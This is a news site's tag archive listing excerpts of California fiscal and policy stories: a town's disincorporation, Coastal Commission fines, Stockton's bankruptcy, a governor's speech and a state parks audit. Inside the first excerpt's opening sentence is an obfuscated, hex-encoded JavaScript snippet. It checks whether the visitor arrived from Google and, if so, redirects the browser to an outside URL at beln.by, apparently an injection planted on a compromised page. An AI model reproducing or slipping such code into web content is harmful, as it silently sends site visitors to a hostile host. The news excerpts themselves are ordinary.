Posts Tagged: fiscal

News

Fiscal storm batters new Inland Empire town

(Ed’s Note: This story originally appeared in California City News, a content partner of Capitol Weekly.)

It’s been 40 years since this last happened — the disincorporation of a city in California var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. But this time the circumstances are unique.

“We’ve done everything we possibly could, including lobbying at the state Legislature and

News

Third time in five years, lawmakers balk at Coastal Commission fees

For the third time in five years, California lawmakers have rejected an attempt to give the California Coastal Commission, which has jurisdiction over 1,100 miles of coastline, authority to impose fines on those who violate coastal protection laws. Opponents of the plan were led by business, farm, petroleum and construction interests, and the measure failed after Assembly Democrats who backed it earlier withdrew their support.

News

Yet another fiscal term to learn: the ‘cram down’

A federal judge suggested last week that pension cuts in the Stockton bankruptcy may not be a key issue until the city tries to negotiate a debt-cutting “plan of adjustment” with creditors, a step awaiting an eligibility ruling after a trial later this month.

 

Bond insurers say a city proposal to reduce its long-term

News

A chipper Brown targets education funding

Saying California was “back” and “on the move,” a chipper Gov. Jerry Brown urged lawmakers in his annual State of the State speech to streamline funding for schools, focus on implementing federal health care reform and keep a tight rein on spending so the budget stays balanced.

 

The Democratic governor said Thursday that he

News

Probing fiscal discrepancies at the state parks department

Report of Investigation into Discrepancies in Financial Reports Submitted by the California Department of Parks and Recreation

By Thomas M. Patton, Deputy Attorney General

 

(Ed’s Note: The full report with exhibits, witnesses’ interviews and other documentation is avaialble here.) 

 

EXECUTIVE SUMMARY

California’s Natural Resources Agency issued a statement on July 20, 2012,

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